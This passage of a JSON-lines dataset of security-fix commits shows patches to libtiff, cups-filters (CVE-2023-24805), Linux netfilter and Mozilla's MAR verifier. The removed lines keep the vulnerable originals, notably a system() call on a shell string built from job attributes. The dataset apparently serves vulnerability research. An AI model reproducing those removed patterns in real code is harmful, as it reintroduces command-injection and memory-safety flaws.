)\n- return 0;\n- val = *(uint16_t *)tv->value;\n- /* Truncate to SamplesPerPixel, since the */\n- /* setting code for INKNAMES assume that there are SamplesPerPixel */\n- /* inknames. */\n- /* Fixes http://bugzilla.maptools.org/show_bug.cgi?id=2599 */\n- if( val > td->td_samplesperpixel )\n- {\n- TIFFWarningExt(tif->tif_clientdata,\"_TIFFVGetField\",\n- \"Truncating NumberOfInks from %u to %\"PRIu16,\n- val, td->td_samplesperpixel);\n- val = td->td_samplesperpixel;\n- }\n- *va_arg(ap, uint16_t*) = val;\n- return 1;\n- }\n- return 0;\n- }\n \n \tswitch (standard_tag) {\n \t\tcase TIFFTAG_SUBFILETYPE:\n@@ -1195,6 +1213,9 @@ _TIFFVGetField(TIFF* tif, uint32_t tag, va_list ap)\n \t\tcase TIFFTAG_INKNAMES:\n \t\t\t*va_arg(ap, const char**) = td->td_inknames;\n \t\t\tbreak;\n+\t\tcase TIFFTAG_NUMBEROFINKS:\n+\t\t\t*va_arg(ap, uint16_t *) = td->td_numberofinks;\n+\t\t\tbreak;\n \t\tdefault:\n \t\t\t{\n \t\t\t\tint i;", "sections": [{"section": "@@ -136,32 +136,30 @@ setExtraSamples(TIFF* tif, va_list ap, uint32_t* v)\n }\n \n /*\n- * Confirm we have \"samplesperpixel\" ink names separated by \\0. Returns \n+ * Count ink names separated by \\0. Returns\n * zero if the ink names are not as expected.\n */\n-static uint32_t\n-checkInkNamesString(TIFF* tif, uint32_t slen, const char* s)\n+static uint16_t\n+countInkNamesString(TIFF *tif, uint32_t slen, const char *s)\n {\n-\tTIFFDirectory* td = &tif->tif_dir;\n-\tuint16_t i = td->td_samplesperpixel;\n+\tuint16_t i = 0;\n+\tconst char *ep = s + slen;\n+\tconst char *cp = s;\n \n \tif (slen > 0) {\n-\t\tconst char* ep = s+slen;\n-\t\tconst char* cp = s;\n-\t\tfor (; i > 0; i--) {\n+\t\tdo {\n \t\t\tfor (; cp < ep && *cp != '\\0'; cp++) {}\n \t\t\tif (cp >= ep)\n \t\t\t\tgoto bad;\n \t\t\tcp++;\t\t\t\t/* skip \\0 */\n-\t\t}\n-\t\treturn ((uint32_t)(cp - s));\n+\t\t\ti++;\n+\t\t} while (cp < ep);\n+\t\treturn (i);\n \t}\n bad:\n \tTIFFErrorExt(tif->tif_clientdata, \"TIFFSetField\",\n-\t \"%s: Invalid InkNames value; expecting %\"PRIu16\" names, found %\"PRIu16,\n-\t tif->tif_name,\n-\t td->td_samplesperpixel,\n-\t (uint16_t)(td->td_samplesperpixel-i));\n+\t\t\"%s: Invalid InkNames value; no NUL at given buffer end location %\"PRIu32\", after %\"PRIu16\" ink\",\n+\t\ttif->tif_name, slen, i);\n \treturn (0);\n }\n \n", "related": false}, {"section": "@@ -478,13 +476,61 @@ _TIFFVSetField(TIFF* tif, uint32_t tag, va_list ap)\n \t\t_TIFFsetFloatArray(&td->td_refblackwhite, va_arg(ap, float*), 6);\n \t\tbreak;\n \tcase TIFFTAG_INKNAMES:\n-\t\tv = (uint16_t) va_arg(ap, uint16_vap);\n-\t\ts = va_arg(ap, char*);\n-\t\tv = checkInkNamesString(tif, v, s);\n-\t\tstatus = v > 0;\n-\t\tif( v > 0 ) {\n-\t\t\t_TIFFsetNString(&td->td_inknames, s, v);\n-\t\t\ttd->td_inknameslen = v;\n+\t\t{\n+\t\t\tv = (uint16_t) va_arg(ap, uint16_vap);\n+\t\t\ts = va_arg(ap, char*);\n+\t\t\tuint16_t ninksinstring;\n+\t\t\tninksinstring = countInkNamesString(tif, v, s);\n+\t\t\tstatus = ninksinstring > 0;\n+\t\t\tif(ninksinstring > 0 ) {\n+\t\t\t\t_TIFFsetNString(&td->td_inknames, s, v);\n+\t\t\t\ttd->td_inknameslen = v;\n+\t\t\t\t/* Set NumberOfInks to the value ninksinstring */\n+\t\t\t\tif (TIFFFieldSet(tif, FIELD_NUMBEROFINKS))\n+\t\t\t\t{\n+\t\t\t\t\tif (td->td_numberofinks != ninksinstring) {\n+\t\t\t\t\t\tTIFFErrorExt(tif->tif_clientdata, module,\n+\t\t\t\t\t\t\t\"Warning %s; Tag %s:\\n Value %\"PRIu16\" of NumberOfInks is different from the number of inks %\"PRIu16\".\\n -> NumberOfInks value adapted to %\"PRIu16\"\",\n+\t\t\t\t\t\t\ttif->tif_name, fip->field_name, td->td_numberofinks, ninksinstring, ninksinstring);\n+\t\t\t\t\t\ttd->td_numberofinks = ninksinstring;\n+\t\t\t\t\t}\n+\t\t\t\t} else {\n+\t\t\t\t\ttd->td_numberofinks = ninksinstring;\n+\t\t\t\t\tTIFFSetFieldBit(tif, FIELD_NUMBEROFINKS);\n+\t\t\t\t}\n+\t\t\t\tif (TIFFFieldSet(tif, FIELD_SAMPLESPERPIXEL))\n+\t\t\t\t{\n+\t\t\t\t\tif (td->td_numberofinks != td->td_samplesperpixel) {\n+\t\t\t\t\t\tTIFFErrorExt(tif->tif_clientdata, module,\n+\t\t\t\t\t\t\t\"Warning %s; Tag %s:\\n Value %\"PRIu16\" of NumberOfInks is different from the SamplesPerPixel value %\"PRIu16\"\",\n+\t\t\t\t\t\t\ttif->tif_name, fip->field_name, td->td_numberofinks, td->td_samplesperpixel);\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\t\t\t}\n+\t\t}\n+\t\tbreak;\n+\tcase TIFFTAG_NUMBEROFINKS:\n+\t\tv = (uint16_t)va_arg(ap, uint16_vap);\n+\t\t/* If InkNames already set also NumberOfInks is set accordingly and should be equal */\n+\t\tif (TIFFFieldSet(tif, FIELD_INKNAMES))\n+\t\t{\n+\t\t\tif (v != td->td_numberofinks) {\n+\t\t\t\tTIFFErrorExt(tif->tif_clientdata, module,\n+\t\t\t\t\t\"Error %s; Tag %s:\\n It is not possible to set the value %\"PRIu32\" for NumberOfInks\\n which is different from the number of inks in the InkNames tag (%\"PRIu16\")\",\n+\t\t\t\t\ttif->tif_name, fip->field_name, v, td->td_numberofinks);\n+\t\t\t\t/* Do not set / overwrite number of inks already set by InkNames case accordingly. */\n+\t\t\t\tstatus = 0;\n+\t\t\t}\n+\t\t} else {\n+\t\t\ttd->td_numberofinks = (uint16_t)v;\n+\t\t\tif (TIFFFieldSet(tif, FIELD_SAMPLESPERPIXEL))\n+\t\t\t{\n+\t\t\t\tif (td->td_numberofinks != td->td_samplesperpixel) {\n+\t\t\t\t\tTIFFErrorExt(tif->tif_clientdata, module,\n+\t\t\t\t\t\t\"Warning %s; Tag %s:\\n Value %\"PRIu32\" of NumberOfInks is different from the SamplesPerPixel value %\"PRIu16\"\",\n+\t\t\t\t\t\ttif->tif_name, fip->field_name, v, td->td_samplesperpixel);\n+\t\t\t\t}\n+\t\t\t}\n \t\t}\n \t\tbreak;\n \tcase TIFFTAG_PERSAMPLE:\n", "related": false}, {"section": "@@ -986,34 +1032,6 @@ _TIFFVGetField(TIFF* tif, uint32_t tag, va_list ap)\n \tif (fip->field_bit == FIELD_CUSTOM) {\n \t\tstandard_tag = 0;\n \t}\n-\t\n- if( standard_tag == TIFFTAG_NUMBEROFINKS )\n- {\n- int i;\n- for (i = 0; i < td->td_customValueCount; i++) {\n- uint16_t val;\n- TIFFTagValue *tv = td->td_customValues + i;\n- if (tv->info->field_tag != standard_tag)\n- continue;\n- if( tv->value == NULL )\n- return 0;\n- val = *(uint16_t *)tv->value;\n- /* Truncate to SamplesPerPixel, since the */\n- /* setting code for INKNAMES assume that there are SamplesPerPixel */\n- /* inknames. */\n- /* Fixes http://bugzilla.maptools.org/show_bug.cgi?id=2599 */\n- if( val > td->td_samplesperpixel )\n- {\n- TIFFWarningExt(tif->tif_clientdata,\"_TIFFVGetField\",\n- \"Truncating NumberOfInks from %u to %\"PRIu16,\n- val, td->td_samplesperpixel);\n- val = td->td_samplesperpixel;\n- }\n- *va_arg(ap, uint16_t*) = val;\n- return 1;\n- }\n- return 0;\n- }\n \n \tswitch (standard_tag) {\n \t\tcase TIFFTAG_SUBFILETYPE:\n", "related": false}, {"section": "@@ -1195,6 +1213,9 @@ _TIFFVGetField(TIFF* tif, uint32_t tag, va_list ap)\n \t\tcase TIFFTAG_INKNAMES:\n \t\t\t*va_arg(ap, const char**) = td->td_inknames;\n \t\t\tbreak;\n+\t\tcase TIFFTAG_NUMBEROFINKS:\n+\t\t\t*va_arg(ap, uint16_t *) = td->td_numberofinks;\n+\t\t\tbreak;\n \t\tdefault:\n \t\t\t{\n \t\t\t\tint i;", "related": false}]} +{"owner": "openprinting", "repo": "cups-filters", "language": "C", "file_name": "backend/beh.c", "commit_id": "8f274035756c04efeb77eb654e9d4c4447287d65", "commit_message": "Merge pull request from GHSA-gpxc-v2m8-fr3x\n\n* beh backend: Use execv() instead of system() - CVE-2023-24805\n\nWith execv() command line arguments are passed as separate strings and\nnot the full command line in a single string. This prevents arbitrary\ncommand execution by escaping the quoting of the arguments in a job\nwith forged job title.\n\n* beh backend: Extra checks against odd/forged input - CVE-2023-24805\n\n- Do not allow '/' in the scheme of the URI (= backend executable\n name), to assure that only backends inside /usr/lib/cups/backend/\n are used.\n\n- Pre-define scheme buffer to empty string, to be defined for case of\n uri being NULL.\n\n- URI must have ':', to split off scheme, otherwise error.\n\n- Check return value of snprintf() to create call path for backend, to\n error out on truncation of a too long scheme or on complete failure\n due to a completely odd scheme.\n\n* beh backend: Further improvements - CVE-2023-24805\n\n- Use strncat() instead of strncpy() for getting scheme from URI, the latter\n does not require setting terminating zero byte in case of truncation.\n\n- Also exclude \".\" or \"..\" as scheme, as directories are not valid CUPS\n backends.\n\n- Do not use fprintf() in sigterm_handler(), to not interfere with a\n fprintf() which could be running in the main process when\n sigterm_handler() is triggered.\n\n- Use \"static volatile int\" for global variable job_canceled.", "patch": "@@ -26,13 +26,14 @@\n #include \n #include \n #include \n+#include \n \n \n //\n // Local globals...\n //\n \n-static int\t\tjob_canceled = 0; // Set to 1 on SIGTERM\n+static volatile int\tjob_canceled = 0; // Set to 1 on SIGTERM\n \n \n //\n@@ -237,21 +238,44 @@ call_backend(char *uri, // I - URI of final destination\n \t char *filename) // I - File name of input data\n {\n const char\t*cups_serverbin;\t// Location of programs\n+ char *backend_argv[8]; // Arguments for called CUPS backend\n char\t\tscheme[1024], // Scheme from URI\n *ptr,\t\t\t// Pointer into scheme\n-\t\tcmdline[65536];\t\t// Backend command line\n- int retval;\n+\t\tbackend_path[2048];\t// Backend path\n+ int pid,\n+ wait_pid,\n+ wait_status,\n+ retval = 0;\n+ int bytes;\n+\n \n //\n // Build the backend command line...\n //\n \n- strncpy(scheme, uri, sizeof(scheme) - 1);\n- if (strlen(uri) > 1023)\n- scheme[1023] = '\\0';\n+ scheme[0] = '\\0';\n+ strncat(scheme, uri, sizeof(scheme) - 1);\n if ((ptr = strchr(scheme, ':')) != NULL)\n *ptr = '\\0';\n-\n+ else\n+ {\n+ fprintf(stderr,\n+\t \"ERROR: beh: Invalid URI, no colon (':') to mark end of scheme part.\\n\");\n+ exit (CUPS_BACKEND_FAILED);\n+ }\n+ if (strchr(scheme, '/'))\n+ {\n+ fprintf(stderr,\n+\t \"ERROR: beh: Invalid URI, scheme contains a slash ('/').\\n\");\n+ exit (CUPS_BACKEND_FAILED);\n+ }\n+ if (!strcmp(scheme, \".\") || !strcmp(scheme, \"..\"))\n+ {\n+ fprintf(stderr,\n+\t \"ERROR: beh: Invalid URI, scheme (\\\"%s\\\") is a directory.\\n\",\n+\t scheme);\n+ exit (CUPS_BACKEND_FAILED);\n+ }\n if ((cups_serverbin = getenv(\"CUPS_SERVERBIN\")) == NULL)\n cups_serverbin = CUPS_SERVERBIN;\n \n@@ -261,16 +285,25 @@ call_backend(char *uri, // I - URI of final destination\n \t \"ERROR: beh: Direct output into a file not supported.\\n\");\n exit (CUPS_BACKEND_FAILED);\n }\n- else\n- snprintf(cmdline, sizeof(cmdline),\n-\t \"%s/backend/%s '%s' '%s' '%s' '%s' '%s' %s\",\n-\t cups_serverbin, scheme, argv[1], argv[2], argv[3],\n-\t // Apply number of copies only if beh was called with a\n-\t // file name and not with the print data in stdin, as\n-\t // backends should handle copies only if they are called\n-\t // with a file name\n-\t (argc == 6 ? \"1\" : argv[4]),\n-\t argv[5], filename);\n+\n+ backend_argv[0] = uri;\n+ backend_argv[1] = argv[1];\n+ backend_argv[2] = argv[2];\n+ backend_argv[3] = argv[3];\n+ backend_argv[4] = (argc == 6 ? \"1\" : argv[4]);\n+ backend_argv[5] = argv[5];\n+ backend_argv[6] = filename;\n+ backend_argv[7] = NULL;\n+\n+ bytes = snprintf(backend_path, sizeof(backend_path),\n+\t\t \"%s/backend/%s\", cups_serverbin, scheme);\n+ if (bytes < 0 || bytes >= sizeof(backend_path))\n+ {\n+ fprintf(stderr,\n+\t \"ERROR: beh: Invalid scheme (\\\"%s\\\"), could not determing backend path.\\n\",\n+\t scheme);\n+ exit (CUPS_BACKEND_FAILED);\n+ }\n \n //\n // Overwrite the device URI and run the actual backend...\n@@ -279,17 +312,41 @@ call_backend(char *uri, // I - URI of final destination\n setenv(\"DEVICE_URI\", uri, 1);\n \n fprintf(stderr,\n-\t \"DEBUG: beh: Executing backend command line \\\"%s\\\"...\\n\",\n-\t cmdline);\n+\t \"DEBUG: beh: Executing backend command line \\\"%s '%s' '%s' '%s' '%s' '%s'%s%s\\\"...\\n\",\n+\t backend_path, backend_argv[1], backend_argv[2], backend_argv[3],\n+\t backend_argv[4], backend_argv[5],\n+\t (backend_argv[6] && backend_argv[6][0] ? \" \" : \"\"),\n+\t (backend_argv[6] && backend_argv[6][0] ? backend_argv[6] : \"\"));\n fprintf(stderr,\n \t \"DEBUG: beh: Using device URI: %s\\n\",\n \t uri);\n \n- retval = system(cmdline) >> 8;\n+ if ((pid = fork()) == 0)\n+ {\n+ retval = execv(backend_path, backend_argv);\n \n- if (retval == -1)\n- fprintf(stderr, \"ERROR: Unable to execute backend command line: %s\\n\",\n-\t strerror(errno));\n+ if (retval == -1)\n+ fprintf(stderr, \"ERROR: Unable to execute backend: %s\\n\",\n+\t strerror(errno));\n+ exit (CUPS_BACKEND_FAILED);\n+ }\n+ else if (pid < 0)\n+ {\n+ fprintf(stderr, \"ERROR: Unable to fork for backend\\n\");\n+ return (CUPS_BACKEND_FAILED);\n+ }\n+\n+ while ((wait_pid = wait(&wait_status)) < 0 && errno == EINTR);\n+\n+ if (wait_pid >= 0 && wait_status)\n+ {\n+ if (WIFEXITED(wait_status))\n+ retval = WEXITSTATUS(wait_status);\n+ else if (WTERMSIG(wait_status) != SIGTERM)\n+ retval = WTERMSIG(wait_status);\n+ else\n+ retval = 0;\n+ }\n \n return (retval);\n }\n@@ -304,8 +361,10 @@ sigterm_handler(int sig)\t\t// I - Signal number (unused)\n {\n (void)sig;\n \n- fprintf(stderr,\n-\t \"DEBUG: beh: Job canceled.\\n\");\n+ const char * const msg = \"DEBUG: beh: Job canceled.\\n\";\n+ // The if() is to eliminate the return value and silence the warning\n+ // about an unused return value.\n+ if (write(2, msg, strlen(msg)));\n \n if (job_canceled)\n _exit(CUPS_BACKEND_OK);", "sections": [{"section": "@@ -26,13 +26,14 @@\n #include \n #include \n #include \n+#include \n \n \n //\n // Local globals...\n //\n \n-static int\t\tjob_canceled = 0; // Set to 1 on SIGTERM\n+static volatile int\tjob_canceled = 0; // Set to 1 on SIGTERM\n \n \n //\n", "related": false}, {"section": "@@ -237,21 +238,44 @@ call_backend(char *uri, // I - URI of final destination\n \t char *filename) // I - File name of input data\n {\n const char\t*cups_serverbin;\t// Location of programs\n+ char *backend_argv[8]; // Arguments for called CUPS backend\n char\t\tscheme[1024], // Scheme from URI\n *ptr,\t\t\t// Pointer into scheme\n-\t\tcmdline[65536];\t\t// Backend command line\n- int retval;\n+\t\tbackend_path[2048];\t// Backend path\n+ int pid,\n+ wait_pid,\n+ wait_status,\n+ retval = 0;\n+ int bytes;\n+\n \n //\n // Build the backend command line...\n //\n \n- strncpy(scheme, uri, sizeof(scheme) - 1);\n- if (strlen(uri) > 1023)\n- scheme[1023] = '\\0';\n+ scheme[0] = '\\0';\n+ strncat(scheme, uri, sizeof(scheme) - 1);\n if ((ptr = strchr(scheme, ':')) != NULL)\n *ptr = '\\0';\n-\n+ else\n+ {\n+ fprintf(stderr,\n+\t \"ERROR: beh: Invalid URI, no colon (':') to mark end of scheme part.\\n\");\n+ exit (CUPS_BACKEND_FAILED);\n+ }\n+ if (strchr(scheme, '/'))\n+ {\n+ fprintf(stderr,\n+\t \"ERROR: beh: Invalid URI, scheme contains a slash ('/').\\n\");\n+ exit (CUPS_BACKEND_FAILED);\n+ }\n+ if (!strcmp(scheme, \".\") || !strcmp(scheme, \"..\"))\n+ {\n+ fprintf(stderr,\n+\t \"ERROR: beh: Invalid URI, scheme (\\\"%s\\\") is a directory.\\n\",\n+\t scheme);\n+ exit (CUPS_BACKEND_FAILED);\n+ }\n if ((cups_serverbin = getenv(\"CUPS_SERVERBIN\")) == NULL)\n cups_serverbin = CUPS_SERVERBIN;\n \n", "related": true}, {"section": "@@ -261,16 +285,25 @@ call_backend(char *uri, // I - URI of final destination\n \t \"ERROR: beh: Direct output into a file not supported.\\n\");\n exit (CUPS_BACKEND_FAILED);\n }\n- else\n- snprintf(cmdline, sizeof(cmdline),\n-\t \"%s/backend/%s '%s' '%s' '%s' '%s' '%s' %s\",\n-\t cups_serverbin, scheme, argv[1], argv[2], argv[3],\n-\t // Apply number of copies only if beh was called with a\n-\t // file name and not with the print data in stdin, as\n-\t // backends should handle copies only if they are called\n-\t // with a file name\n-\t (argc == 6 ? \"1\" : argv[4]),\n-\t argv[5], filename);\n+\n+ backend_argv[0] = uri;\n+ backend_argv[1] = argv[1];\n+ backend_argv[2] = argv[2];\n+ backend_argv[3] = argv[3];\n+ backend_argv[4] = (argc == 6 ? \"1\" : argv[4]);\n+ backend_argv[5] = argv[5];\n+ backend_argv[6] = filename;\n+ backend_argv[7] = NULL;\n+\n+ bytes = snprintf(backend_path, sizeof(backend_path),\n+\t\t \"%s/backend/%s\", cups_serverbin, scheme);\n+ if (bytes < 0 || bytes >= sizeof(backend_path))\n+ {\n+ fprintf(stderr,\n+\t \"ERROR: beh: Invalid scheme (\\\"%s\\\"), could not determing backend path.\\n\",\n+\t scheme);\n+ exit (CUPS_BACKEND_FAILED);\n+ }\n \n //\n // Overwrite the device URI and run the actual backend...\n", "related": true}, {"section": "@@ -279,17 +312,41 @@ call_backend(char *uri, // I - URI of final destination\n setenv(\"DEVICE_URI\", uri, 1);\n \n fprintf(stderr,\n-\t \"DEBUG: beh: Executing backend command line \\\"%s\\\"...\\n\",\n-\t cmdline);\n+\t \"DEBUG: beh: Executing backend command line \\\"%s '%s' '%s' '%s' '%s' '%s'%s%s\\\"...\\n\",\n+\t backend_path, backend_argv[1], backend_argv[2], backend_argv[3],\n+\t backend_argv[4], backend_argv[5],\n+\t (backend_argv[6] && backend_argv[6][0] ? \" \" : \"\"),\n+\t (backend_argv[6] && backend_argv[6][0] ? backend_argv[6] : \"\"));\n fprintf(stderr,\n \t \"DEBUG: beh: Using device URI: %s\\n\",\n \t uri);\n \n- retval = system(cmdline) >> 8;\n+ if ((pid = fork()) == 0)\n+ {\n+ retval = execv(backend_path, backend_argv);\n \n- if (retval == -1)\n- fprintf(stderr, \"ERROR: Unable to execute backend command line: %s\\n\",\n-\t strerror(errno));\n+ if (retval == -1)\n+ fprintf(stderr, \"ERROR: Unable to execute backend: %s\\n\",\n+\t strerror(errno));\n+ exit (CUPS_BACKEND_FAILED);\n+ }\n+ else if (pid < 0)\n+ {\n+ fprintf(stderr, \"ERROR: Unable to fork for backend\\n\");\n+ return (CUPS_BACKEND_FAILED);\n+ }\n+\n+ while ((wait_pid = wait(&wait_status)) < 0 && errno == EINTR);\n+\n+ if (wait_pid >= 0 && wait_status)\n+ {\n+ if (WIFEXITED(wait_status))\n+ retval = WEXITSTATUS(wait_status);\n+ else if (WTERMSIG(wait_status) != SIGTERM)\n+ retval = WTERMSIG(wait_status);\n+ else\n+ retval = 0;\n+ }\n \n return (retval);\n }\n", "related": true}, {"section": "@@ -304,8 +361,10 @@ sigterm_handler(int sig)\t\t// I - Signal number (unused)\n {\n (void)sig;\n \n- fprintf(stderr,\n-\t \"DEBUG: beh: Job canceled.\\n\");\n+ const char * const msg = \"DEBUG: beh: Job canceled.\\n\";\n+ // The if() is to eliminate the return value and silence the warning\n+ // about an unused return value.\n+ if (write(2, msg, strlen(msg)));\n \n if (job_canceled)\n _exit(CUPS_BACKEND_OK);", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/netfilter/nft_objref.c", "commit_id": "c1592a89942e9678f7d9c8030efa777c0d57edab", "commit_message": "netfilter: nf_tables: deactivate anonymous set from preparation phase\n\nToggle deleted anonymous sets as inactive in the next generation, so\nusers cannot perform any update on it. Clear the generation bitmask\nin case the transaction is aborted.\n\nThe following KASAN splat shows a set element deletion for a bound\nanonymous set that has been already removed in the same transaction.\n\n[ 64.921510] ==================================================================\n[ 64.923123] BUG: KASAN: wild-memory-access in nf_tables_commit+0xa24/0x1490 [nf_tables]\n[ 64.924745] Write of size 8 at addr dead000000000122 by task test/890\n[ 64.927903] CPU: 3 PID: 890 Comm: test Not tainted 6.3.0+ #253\n[ 64.931120] Call Trace:\n[ 64.932699] \n[ 64.934292] dump_stack_lvl+0x33/0x50\n[ 64.935908] ? nf_tables_commit+0xa24/0x1490 [nf_tables]\n[ 64.937551] kasan_report+0xda/0x120\n[ 64.939186] ? nf_tables_commit+0xa24/0x1490 [nf_tables]\n[ 64.940814] nf_tables_commit+0xa24/0x1490 [nf_tables]\n[ 64.942452] ? __kasan_slab_alloc+0x2d/0x60\n[ 64.944070] ? nf_tables_setelem_notify+0x190/0x190 [nf_tables]\n[ 64.945710] ? kasan_set_track+0x21/0x30\n[ 64.947323] nfnetlink_rcv_batch+0x709/0xd90 [nfnetlink]\n[ 64.948898] ? nfnetlink_rcv_msg+0x480/0x480 [nfnetlink]\n\nSigned-off-by: Pablo Neira Ayuso ", "patch": "@@ -185,7 +185,7 @@ static void nft_objref_map_activate(const struct nft_ctx *ctx,\n {\n \tstruct nft_objref_map *priv = nft_expr_priv(expr);\n \n-\tpriv->set->use++;\n+\tnf_tables_activate_set(ctx, priv->set);\n }\n \n static void nft_objref_map_destroy(const struct nft_ctx *ctx,", "sections": [{"section": "@@ -185,7 +185,7 @@ static void nft_objref_map_activate(const struct nft_ctx *ctx,\n {\n \tstruct nft_objref_map *priv = nft_expr_priv(expr);\n \n-\tpriv->set->use++;\n+\tnf_tables_activate_set(ctx, priv->set);\n }\n \n static void nft_objref_map_destroy(const struct nft_ctx *ctx,", "related": false}]} +{"owner": "mozilla", "repo": "gecko-dev", "language": "C", "file_name": "modules/libmar/verify/mar_verify.c", "commit_id": "7182ee6a89c7b2f8b864ff8f21426c2a352968a6", "commit_message": "Bug 1806394 r=nalexander\n\nDifferential Revision: https://phabricator.services.mozilla.com/D168294", "patch": "@@ -56,35 +56,38 @@ int mar_read_entire_file(const char* filePath, uint32_t maxSize,\n return result;\n }\n \n-int mar_extract_and_verify_signatures_fp(FILE* fp,\n- CryptoX_ProviderHandle provider,\n- CryptoX_PublicKey* keys,\n- uint32_t keyCount);\n-int mar_verify_signatures_for_fp(FILE* fp, CryptoX_ProviderHandle provider,\n- CryptoX_PublicKey* keys,\n- const uint8_t* const* extractedSignatures,\n- uint32_t keyCount, uint32_t* numVerified);\n+int mar_extract_and_verify_signatures(MarFile* mar,\n+ CryptoX_ProviderHandle provider,\n+ CryptoX_PublicKey* keys,\n+ uint32_t keyCount);\n+int mar_verify_extracted_signatures(MarFile* mar,\n+ CryptoX_ProviderHandle provider,\n+ CryptoX_PublicKey* keys,\n+ const uint8_t* const* extractedSignatures,\n+ uint32_t keyCount, uint32_t* numVerified);\n \n /**\n- * Reads the specified number of bytes from the file pointer and\n+ * Reads the specified number of bytes from the MAR buffer and\n * stores them in the passed buffer.\n *\n- * @param fp The file pointer to read from.\n+ * @param mar An opened MAR\n+ * @param mar_position\n+ * Our current position within the MAR file buffer.\n * @param buffer The buffer to store the read results.\n * @param size The number of bytes to read, buffer must be\n * at least of this size.\n * @param ctxs Pointer to the first element in an array of verify context.\n * @param count The number of elements in ctxs\n * @param err The name of what is being written to in case of error.\n- * @return 0 on success\n- * -1 on read error\n- * -2 on verify update error\n+ * @return CryptoX_Success on success\n+ * CryptoX_Error on error\n */\n-int ReadAndUpdateVerifyContext(FILE* fp, void* buffer, uint32_t size,\n- CryptoX_SignatureHandle* ctxs, uint32_t count,\n- const char* err) {\n+CryptoX_Result ReadAndUpdateVerifyContext(MarFile* mar, size_t* mar_position,\n+ void* buffer, uint32_t size,\n+ CryptoX_SignatureHandle* ctxs,\n+ uint32_t count, const char* err) {\n uint32_t k;\n- if (!fp || !buffer || !ctxs || count == 0 || !err) {\n+ if (!mar || !mar_position || !buffer || !ctxs || count == 0 || !err) {\n fprintf(stderr, \"ERROR: Invalid parameter specified.\\n\");\n return CryptoX_Error;\n }\n@@ -93,15 +96,15 @@ int ReadAndUpdateVerifyContext(FILE* fp, void* buffer, uint32_t size,\n return CryptoX_Success;\n }\n \n- if (fread(buffer, size, 1, fp) != 1) {\n+ if (mar_read_buffer(mar, buffer, mar_position, size) != 0) {\n fprintf(stderr, \"ERROR: Could not read %s\\n\", err);\n return CryptoX_Error;\n }\n \n for (k = 0; k < count; k++) {\n if (CryptoX_Failed(CryptoX_VerifyUpdate(&ctxs[k], buffer, size))) {\n fprintf(stderr, \"ERROR: Could not update verify context for %s\\n\", err);\n- return -2;\n+ return CryptoX_Error;\n }\n }\n return CryptoX_Success;\n@@ -136,11 +139,6 @@ int mar_verify_signatures(MarFile* mar, const uint8_t* const* certData,\n goto failure;\n }\n \n- if (!mar->fp) {\n- fprintf(stderr, \"ERROR: MAR file is not open.\\n\");\n- goto failure;\n- }\n-\n if (CryptoX_Failed(CryptoX_InitCryptoProvider(&provider))) {\n fprintf(stderr, \"ERROR: Could not init crytpo library.\\n\");\n goto failure;\n@@ -154,7 +152,7 @@ int mar_verify_signatures(MarFile* mar, const uint8_t* const* certData,\n }\n }\n \n- rv = mar_extract_and_verify_signatures_fp(mar->fp, provider, keys, certCount);\n+ rv = mar_extract_and_verify_signatures(mar, provider, keys, certCount);\n \n failure:\n \n@@ -169,50 +167,41 @@ int mar_verify_signatures(MarFile* mar, const uint8_t* const* certData,\n \n /**\n * Extracts each signature from the specified MAR file,\n- * then calls mar_verify_signatures_for_fp to verify each signature.\n+ * then calls mar_verify_extracted_signatures to verify each signature.\n *\n- * @param fp An opened MAR file handle\n+ * @param mar An opened MAR\n * @param provider A library provider\n * @param keys The public keys to use to verify the MAR\n * @param keyCount The number of keys pointed to by keys\n * @return 0 on success\n */\n-int mar_extract_and_verify_signatures_fp(FILE* fp,\n- CryptoX_ProviderHandle provider,\n- CryptoX_PublicKey* keys,\n- uint32_t keyCount) {\n+int mar_extract_and_verify_signatures(MarFile* mar,\n+ CryptoX_ProviderHandle provider,\n+ CryptoX_PublicKey* keys,\n+ uint32_t keyCount) {\n uint32_t signatureCount, signatureLen, numVerified = 0;\n uint32_t signatureAlgorithmIDs[MAX_SIGNATURES];\n uint8_t* extractedSignatures[MAX_SIGNATURES];\n uint32_t i;\n+ size_t mar_position = 0;\n \n memset(signatureAlgorithmIDs, 0, sizeof(signatureAlgorithmIDs));\n memset(extractedSignatures, 0, sizeof(extractedSignatures));\n \n- if (!fp) {\n+ if (!mar) {\n fprintf(stderr, \"ERROR: Invalid file pointer passed.\\n\");\n return CryptoX_Error;\n }\n \n- /* To protect against invalid MAR files, we assumes that the MAR file\n- size is less than or equal to MAX_SIZE_OF_MAR_FILE. */\n- if (fseeko(fp, 0, SEEK_END)) {\n- fprintf(stderr, \"ERROR: Could not seek to the end of the MAR file.\\n\");\n- return CryptoX_Error;\n- }\n- if (ftello(fp) > MAX_SIZE_OF_MAR_FILE) {\n- fprintf(stderr, \"ERROR: MAR file is too large to be verified.\\n\");\n- return CryptoX_Error;\n- }\n-\n /* Skip to the start of the signature block */\n- if (fseeko(fp, SIGNATURE_BLOCK_OFFSET, SEEK_SET)) {\n+ if (mar_buffer_seek(mar, &mar_position, SIGNATURE_BLOCK_OFFSET) != 0) {\n fprintf(stderr, \"ERROR: Could not seek to the signature block.\\n\");\n return CryptoX_Error;\n }\n \n /* Get the number of signatures */\n- if (fread(&signatureCount, sizeof(signatureCount), 1, fp) != 1) {\n+ if (mar_read_buffer(mar, &signatureCount, &mar_position,\n+ sizeof(signatureCount)) != 0) {\n fprintf(stderr, \"ERROR: Could not read number of signatures.\\n\");\n return CryptoX_Error;\n }\n@@ -228,19 +217,21 @@ int mar_extract_and_verify_signatures_fp(FILE* fp,\n \n for (i = 0; i < signatureCount; i++) {\n /* Get the signature algorithm ID */\n- if (fread(&signatureAlgorithmIDs[i], sizeof(uint32_t), 1, fp) != 1) {\n+ if (mar_read_buffer(mar, &signatureAlgorithmIDs[i], &mar_position,\n+ sizeof(uint32_t)) != 0) {\n fprintf(stderr, \"ERROR: Could not read signatures algorithm ID.\\n\");\n return CryptoX_Error;\n }\n signatureAlgorithmIDs[i] = ntohl(signatureAlgorithmIDs[i]);\n \n- if (fread(&signatureLen, sizeof(uint32_t), 1, fp) != 1) {\n+ if (mar_read_buffer(mar, &signatureLen, &mar_position, sizeof(uint32_t)) !=\n+ 0) {\n fprintf(stderr, \"ERROR: Could not read signatures length.\\n\");\n return CryptoX_Error;\n }\n signatureLen = ntohl(signatureLen);\n \n- /* To protected against invalid input make sure the signature length\n+ /* To protect against invalid input make sure the signature length\n isn't too big. */\n if (signatureLen > MAX_SIGNATURE_LENGTH) {\n fprintf(stderr, \"ERROR: 